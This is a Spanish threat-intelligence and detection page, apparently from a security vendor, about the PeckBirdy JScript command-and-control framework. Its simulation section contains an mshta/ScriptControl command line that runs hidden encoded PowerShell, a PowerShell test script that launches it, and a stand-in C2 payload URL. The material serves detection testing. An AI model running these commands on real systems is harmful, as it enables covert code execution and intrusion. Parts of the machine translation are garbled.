PeckBirdy: Un Marco de Script Versátil para la Explotación de LOLBins Utilizado por Grupos de Amenazas Alineados con China
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
PeckBirdy es un marco de mando y control basado en JScript utilizado por actores APT alineados con China para abusar de binarios de vivirenloslisten y desplegar puertas traseras modulares, incluidas HOLODONUT y MKDOOR. Está diseñado para ejecutarse en múltiples entornos de ejecución: navegadores web, MSHTA, WScript, NodeJS y .NET, y soporta varias opciones de transporte como WebSocket, Flash, Comet y HTTP. Se ha observado el marco en campañas rastreadas como SHADOW-VOID-044 y SHADOW-EARTH-045, que apuntaron a recursos de juego en línea, portales web gubernamentales asiáticos y una organización del sector educativo.
Investigación
Investigadores informaron de inyecciones de scripts maliciosos en sitios de apuestas comprometidos y páginas gubernamentales que descargaron el cargador de PeckBirdy, el cual luego recuperó cargas secundarias, destacándose un exploit de Chrome (CVE-2020-16040) y componentes de puerta trasera adicionales. La actividad se relacionó con dos implantes modulares, HOLODONUT y MKDOOR, y se conectó a grupos e infraestructuras observados previamente. El análisis también catalogó indicadores de compromiso, incluyendo direcciones IP, dominios y detalles operativos como el uso de certificados de firma de código robados.
Mitigación
Bloquear los dominios y direcciones IP maliciosas identificadas, y monitorear el uso atípico de LOLBin y la ejecución de scripts a través de MSHTA, WScript y NodeJS. Detectar la creación del unique_id archivo en %TEMP% y aplicar una validación estricta de certificados de firma de código. La cobertura para cargas útiles conocidas de Cobalt Strike y ensamblajes .NET generados por Donut puede reducir aún más la exposición.
Respuesta
Si se detecta, aísle los sistemas afectados, recopile el script inyectado y cualquier binario de puerta trasera producido, y bloquee la infraestructura de C2 asociada. Realice un triage forense para el movimiento lateral y actualice la lógica de detección para los artefactos de línea de comandos observados y patrones de tráfico de red.
Flujo de Ataque
Detecciones
LOLBAS WScript / CScript (por creación de procesos)
Ver
Comportamiento de Evasión de Defensa LOLBAS MSHTA Sospechoso detectado por Comandos Asociados (por creación de procesos)
Ver
Modificación de Exclusiones de Defender Sospechosa a través de WMIC (por línea de comando)
Ver
IOCs (HashSha1) para detectar: PeckBirdy: Un Marco de Script Versátil para la Explotación de LOLBins Usado por Grupos de Amenaza Alineados con China
Ver
IOCs (IP de Origen) para detectar: PeckBirdy: Un Marco de Script Versátil para la Explotación de LOLBins Usado por Grupos de Amenaza Alineados con China
Ver
IOCs (IP de Destino) para detectar: PeckBirdy: Un Marco de Script Versátil para la Explotación de LOLBins Usado por Grupos de Amenaza Alineados con China
Ver
Uso de MSHTA y ScriptControl para la Ejecución de PeckBirdy [Creación de Procesos en Windows]
Ver
Detección de Inyecciones de Script Maliciosas de PeckBirdy y Recolección de Credenciales [Servidor Web]
Ver
Ejecución de Simulación
Requisito previo: La Comprobación Pre-vuelo de Telemetría y Línea Base debe haber pasado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa deben reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa & Comandos de Ataque:
El adversario desea establecer un canal de control remoto utilizando el marco de script PeckBirdy. Ellos eligen script framework. They choosemshta.exeporque es un binario firmado de Windows que evita la mayoría de las listas blancas de aplicaciones. La carga útil embebe un ActiveXScriptControlobjeto para ejecutar el código JScript obtenido de un servidor C2. Los pasos son:- Descargar la carga maliciosa JScript del C2 (p. ej.
http://malicious.c2/payload.js). - Lanzar
mshta.execon unjavascript: URL en línea que crea unainstancia, carga el script descargado y lo ejecuta.ScriptControlEl código JScript establece un oyente TCP invertido, completando el punto de apoyo. - La línea de comando exacta que produce la telemetría es:
The exact command line that produces the telemetry is:
mshta.exe "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode('var s=new ActiveXObject("WScript.Shell");s.Run("powershell -nop -w hidden -EncodedCommand ...");');void(0)"Este comando contiene tanto
mshta.execomo la cadenaScriptControl, satisfaciendo la condición Sigma. - Descargar la carga maliciosa JScript del C2 (p. ej.
-
Script de Prueba de Regresión:
El siguiente script automatiza la invocación maliciosa demshta. Se puede ejecutar en una estación de trabajo de prueba bajo una cuenta administrativa.#------------------------------------------------- # Ejecución de PeckBirdy vía mshta + ScriptControl #------------------------------------------------- $c2Url = "http://malicious.c2/payload.js" $jsCode = @" var sc = new ActiveXObject('ScriptControl'); sc.Language = 'JScript'; // Simple beacon – replace with real payload sc.AddCode('var s = new ActiveXObject("WScript.Shell"); s.Run("cmd /c echo Compromised > C:temppwned.txt");'); "@ # Codificar la carga de JScript para evitar problemas de salto de línea $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode)) $mshtaCmd = "javascript:var sc=new ActiveXObject('ScriptControl');sc.Language='JScript';sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$encoded')));void(0)" Write-Host "[*] Lanzando mshta malicioso..." Start-Process -FilePath "mshta.exe" -ArgumentList $mshtaCmd -NoNewWindow -
Comandos de Limpieza:
Eliminar cualquier artefacto creado por la prueba (por ejemplo, el archivo temporal).#------------------------------------------------- # Limpieza después de la simulación de PeckBirdy #------------------------------------------------- Write-Host "[*] Limpiando artefactos de prueba..." Remove-Item -Path "C:temppwned.txt" -ErrorAction SilentlyContinue # Detener cualquier proceso mshta persistente iniciado por la prueba Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force